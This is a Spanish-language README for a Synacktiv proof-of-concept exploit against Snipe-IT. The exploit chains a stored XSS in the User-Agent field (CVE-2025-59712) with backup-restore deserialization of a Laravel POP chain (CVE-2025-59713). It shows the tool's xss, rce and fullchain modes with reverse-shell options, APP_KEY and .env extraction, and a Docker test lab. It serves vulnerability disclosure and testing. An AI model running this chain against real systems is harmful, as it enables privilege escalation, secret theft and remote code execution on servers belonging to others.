
Exploit PoC de Snipe-IT para CVE-2025-59712 y CVE-2025-59713
Este PoC proporciona un script automatizado para explotar CVE-2025-59712 (XSS en la cabecera User-Agent) y CVE-2025-59713 (deserialización insegura).
Estas dos vulnerabilidades fueron descubiertas por Synacktiv durante la investigación de vulnerabilidades en el software Snipe-IT. Snipe-IT es un sistema de gestión de activos de código abierto basado en Laravel y diseñado para ayudar a las organizaciones a rastrear y gestionar sus activos físicos y digitales.
Un informe técnico se puede encontrar en el aviso de seguridad dedicado en el sitio web de Synacktiv.
Este script proporciona tres subcomandos, correspondientes a los modos de explotación: xss, rce y fullchain.
Este subcomando explota CVE-2025-59712, que permite a un usuario de bajos privilegios inyectar JavaScript arbitrario en la página HTML renderizada al llamar a la ruta /reports/activity. Esto solo puede ser realizado por un usuario administrador, o por un usuario que tenga permisos explícitos de visualización de informes. La inyección es posible debido a una sanitización incorrecta del campo User-Agent cuando un usuario actualiza la información de su perfil.
Para ello, primero iniciará sesión como el usuario de bajos privilegios y, a continuación, inyectará el código JavaScript definido en el archivo proporcionado mediante el flag --javascript.
$ python3 exploit.py xss --help
Usage: exploit.py xss [OPTIONS]
Execute XSS attack only with custom JavaScript payload
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --url -u TEXT Target Snipe-IT URL [required] │
│ * --login -l TEXT Low-privileged username [required] │
│ * --password -p TEXT Low-privileged password [required] │
│ * --new-name -n TEXT New name for low-privileged user [required] │
│ * --javascript -js TEXT Path to custom JavaScript file [required] │
│ --proxy -x TEXT HTTP proxy (http://ip:port) │
│ --verbose -v [quiet|normal|verbose] Logging verbosity [default: normal] │
│ --help Show this message and exit. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
[!IMPORTANT]
Durante la investigación de seguridad, las pruebas se llevaron a cabo en una versión de Snipe-IT que, por defecto, mostraba el campoUser-Agenten el que se inyecta el JavaScript malicioso. Desde el commit 10e5d88, la propiedadUser-Agentno se muestra por defecto cuando se renderiza la tabla de registro de acciones. Por lo tanto, el administrador que vaya a desencadenar el XSS debe haber marcado la casillaUser-Agenten las opciones de vista para las versiones de Snipe-IT posteriores a este commit.
Este subcomando explota CVE-2025-59713, que permite la ejecución remota de código cuando se conocen las credenciales de un usuario administrador o superadministrador. Para ello, se realizan los siguientes pasos:
db-dumps/mysql-snipeit.sql, que crea un nuevo campo personalizado y edita el último registro de acciones con un objeto JSON que contiene la cadena pop de Laravel al restaurarse.[!TIP] Por defecto, Snipe-IT incluye el archivo
.enven la copia de seguridad. Si el script lo detecta, se muestra el valor deAPP_KEYy el archivo.envse guarda en el directorio./output(se puede especificar una ubicación personalizada para ese archivo con--output-dir).
[!CAUTION] Restaurar una copia de seguridad desconecta a todos los usuarios conectados a la instancia.
/api/v1/reports/activity, lo que desencadena la deserialización y ejecuta la cadena pop de Laravel.$ python3 exploit.py rce --help
Usage: exploit.py rce [OPTIONS]
Execute RCE attack only (requires existing admin account)
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --url -u TEXT Target Snipe-IT URL [required] │
│ * --admin-user -au TEXT Admin username [required] │
│ * --admin-pass -ap TEXT Admin password [required] │
│ --output-dir -od PATH Output dir for .env file [default: /home/ninja/Téléchargements/snipe-it-advisory/exploit/output] │
│ --shell-ip -si TEXT Reverse shell IP address │
│ --shell-port -sp INTEGER Reverse shell port │
│ --command -c TEXT Custom command (overrides reverse shell) │
│ --proxy -x TEXT HTTP proxy (http://ip:port) │
│ --verbose -v [quiet|normal|verbose] Logging verbosity [default: normal] │
│ --help Show this message and exit. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
El subcomando fullchain tiene como objetivo encadenar ambas vulnerabilidades, XSS y RCE. Corresponde a un escenario en el que solo se tiene acceso a un usuario de bajos privilegios y se desea lograr la ejecución remota de código. Esto solo funcionará si el usuario que visita la página /reports/activity es un administrador o superadministrador. De hecho, solo estos roles tienen los derechos para crear y restaurar una copia de seguridad, lo cual es necesario para envenenar la base de datos y desencadenar posteriormente la cadena pop de Laravel.
Para ello, el script:
--command, igual que en el modo RCE).User-Agent con una etiqueta <scr> para forzar al navegador de la víctima a cargar la plantilla JavaScript maliciosa./reports/activity, se desencadena el XSS y el JavaScript malicioso es cargado y ejecutado por el navegador de la víctima. A partir de entonces, se realizan los mismos pasos que en el módulo RCE, pero en JavaScript.Este modo utiliza varias librerías JavaScript adicionales, todos los créditos son para sus respectivos autores:
$ python3 exploit.py fullchain --help
Usage: exploit.py fullchain [OPTIONS]
Execute full attack chain: XSS -> Backup manipulation -> RCE
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --url -u TEXT Target Snipe-IT URL [required] │
│ * --login -l TEXT Low-privileged user's username [required] │
│ * --password -p TEXT Low-privileged user's password [required] │
│ * --new-name -n TEXT New name for low-privileged user [required] │
│ --ip -i TEXT HTTP server IP address (default: auto-detect) │
│ * --port -P INTEGER HTTP server port [required] │
│ --admin-user -au TEXT Admin username to create [default: admin_rce] │
│ --admin-pass -ap TEXT Admin password to create [default: password123] │
│ --shell-ip -si TEXT Reverse shell IP address │
│ --shell-port -sp INTEGER Reverse shell port │
│ --command -c TEXT Custom command (overrides reverse shell) │
│ --proxy -x TEXT HTTP proxy (http://ip:port) │
│ --verbose -v [quiet|normal|verbose] Logging verbosity [default: normal] │
│ --help Show this message and exit. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Para ejecutar este script, ejecuta los siguientes comandos:
$ git clone https://github.com/synacktiv/CVE-2025-59712_CVE-2025-59713
$ cd CVE-2025-59712_CVE-2025-59713
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
También se proporciona un Dockerfile para probar el script y reproducir la explotación de las vulnerabilidades. Descarga una versión vulnerable de Snipe-IT, configura la base de datos con php artisan y crea dos usuarios:
admin con una contraseña por defecto de AdminPassword123!lowpriv con una contraseña por defecto de LowPrivUser123!Antes de ejecutar el contenedor, los archivos .env y snipe-it.conf deben actualizarse con la URL de la instancia de Snipe-IT:
$ sed -i 's|^APP_URL=.*|APP_URL=http://<IP>:<PORT>|' .env
$ sed -i 's|\(ServerName\s*\).*|\1http://<IP>:<PORT>|' snipe-it.conf
El contenedor se puede ejecutar a continuación:
$ docker build . -t "snipe-it-cve"
$ docker run -p 80:80 --name "snipe-it-debian" snipe-it-cve:latest